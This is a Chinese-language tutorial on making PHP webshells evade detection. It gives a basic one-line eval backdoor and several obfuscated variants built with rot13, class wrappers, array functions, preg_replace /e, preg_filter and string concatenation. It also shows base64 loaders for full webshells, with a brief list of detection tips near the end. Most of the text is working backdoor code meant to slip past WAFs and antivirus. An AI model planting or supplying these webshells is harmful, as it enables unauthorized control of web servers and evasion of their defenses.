Webshell免杀
字数 827 2025-08-18 11:38:41

PHP Webshell免杀技术详解

一、一句话木马基础

1. 基本概念

一句话木马(小马)是渗透测试中最常用的后门工具,通常与中国菜刀等工具配合使用。当遇到WAF防护时,需要寻找免杀的大马进行挂马。

2. 基础PHP一句话木马

<?php @eval($_POST['x']);?>
  • eval:执行接收的代码
  • $_POST['x']:接收客户端发送的数据

二、免杀技术分类

1. 字符串编码与混淆

(1) str_rot13函数

<?php
$c=str_rot13('nffreg');  // rot13('nffreg') = 'assert'
$c($_REQUEST['x']);
?>

(2) 函数封装版

<?php
function xiaoma($a){
    $c=str_rot13('nffreg');
    $c($a);
}
xiaoma($_REQUEST['x']);
?>

(3) 类封装+字符串分割

<?php
class One{
    function xiaoma($x){
        $c=str_rot13('n!ff!re!nffreg');
        $str=explode('!',$c)[3];
        $str($x);
    }
}
$test=new One();
$test->xiaoma($_REQUEST['x']);
?>

2. 数组函数利用

(1) array_map函数

<?php
$a1=array("1234","123456");
$a2=array(@$_REQUEST['x'],"1234");
$a=array_map(null,$a1,$a2)[0][1];
assert($a);
?>

(2) array_keys函数

<?php
$a=array($_REQUEST['x']=>"3");
$b=array_keys($a)[0];
eval($b);
?>

3. 正则函数利用

(1) preg_replace函数(5.6以下版本)

<?php
function func(){
    return $_REQUEST['x'];
}
preg_replace("/test/e",func(),"i am test");
?>

(2) preg_filter函数

<?php
$a=preg_filter('/\s+/','','as s er t');  // 结果为"assert"
$a($_REQUEST['x']);
?>

4. 字符串拼接技术

<?php
function test($a){
    $arr = array('a','s','s','e','r','t');
    $func = '';
    for($i=0;$i<count($arr);$i++) {
        $func.=$func.$arr[$i];
    }
    $func=substr($func,-6);
    $func($a);
}
test($_REQUEST['x']);
?>

三、大马免杀技术

1. 基础思路

将大马源码进行base64编码,然后通过解码执行。

2. 实现方法

(1) 类封装版

<?php
header("Content-type: text/html; charset=utf-8");
class one{
    public function dama(){
        $l='base';
        $o='64_de';
        $v='co';
        $e='de';
        $love=$l.$o.$v.$e;
        $c="love";
        $shellname='网站安全检测';
        $password='xxx';
        $myurl='http://www.xxx.com';
        $a=
$$
c('code');  // 相当于base64_decode('code')
        @eval($a);
    }
}
$person = new one;
$person->dama();
?>

(2) 函数版

<?php
header("Content-type: text/html; charset=utf-8");
function test($code){
    $password='xxx';
    $a=preg_filter('/\s+/','','base 64 _ deco de');
    $c=$a($code);
    @eval($c);
}
$code=''; // code存放php大马
test($code);
?>

四、关键注意事项

  1. WAF绕过原理:通过字符串混淆、函数封装、类封装等方式避免直接出现敏感函数名和代码结构

  2. 版本适配:如preg_replace的/e修饰符在PHP 5.6以上版本已废弃

  3. 编码技巧

    • 使用字符串分割拼接
    • 利用数组函数间接传递参数
    • 通过编码函数隐藏真实意图
  4. 大马处理

    • 将大马源码base64编码后放入变量
    • 避免直接使用base64_decode等敏感函数名
    • 使用字符串拼接构造解码函数名
  5. 防护建议

    • 监控eval、assert等危险函数的使用
    • 检查异常的正则表达式执行
    • 关注数组函数的异常使用模式
    • 对base64解码操作进行严格审查

五、总结

PHP Webshell免杀技术主要通过以下几种方式实现:

  1. 敏感函数名混淆(编码、分割、拼接)
  2. 代码结构封装(函数、类)
  3. 非常规函数利用(数组函数、正则函数)
  4. 大马源码编码隐藏

防御方应关注这些技术特征,建立相应的检测规则,而攻击方则不断演进这些技术以绕过防护。这是一场持续的技术对抗。

PHP Webshell免杀技术详解 一、一句话木马基础 1. 基本概念 一句话木马(小马)是渗透测试中最常用的后门工具,通常与中国菜刀等工具配合使用。当遇到WAF防护时,需要寻找免杀的大马进行挂马。 2. 基础PHP一句话木马 eval :执行接收的代码 $_POST['x'] :接收客户端发送的数据 二、免杀技术分类 1. 字符串编码与混淆 (1) str_ rot13函数 (2) 函数封装版 (3) 类封装+字符串分割 2. 数组函数利用 (1) array_ map函数 (2) array_ keys函数 3. 正则函数利用 (1) preg_ replace函数(5.6以下版本) (2) preg_ filter函数 4. 字符串拼接技术 三、大马免杀技术 1. 基础思路 将大马源码进行base64编码,然后通过解码执行。 2. 实现方法 (1) 类封装版 (2) 函数版 四、关键注意事项 WAF绕过原理 :通过字符串混淆、函数封装、类封装等方式避免直接出现敏感函数名和代码结构 版本适配 :如preg_ replace的/e修饰符在PHP 5.6以上版本已废弃 编码技巧 : 使用字符串分割拼接 利用数组函数间接传递参数 通过编码函数隐藏真实意图 大马处理 : 将大马源码base64编码后放入变量 避免直接使用base64_ decode等敏感函数名 使用字符串拼接构造解码函数名 防护建议 : 监控eval、assert等危险函数的使用 检查异常的正则表达式执行 关注数组函数的异常使用模式 对base64解码操作进行严格审查 五、总结 PHP Webshell免杀技术主要通过以下几种方式实现: 敏感函数名混淆(编码、分割、拼接) 代码结构封装(函数、类) 非常规函数利用(数组函数、正则函数) 大马源码编码隐藏 防御方应关注这些技术特征,建立相应的检测规则,而攻击方则不断演进这些技术以绕过防护。这是一场持续的技术对抗。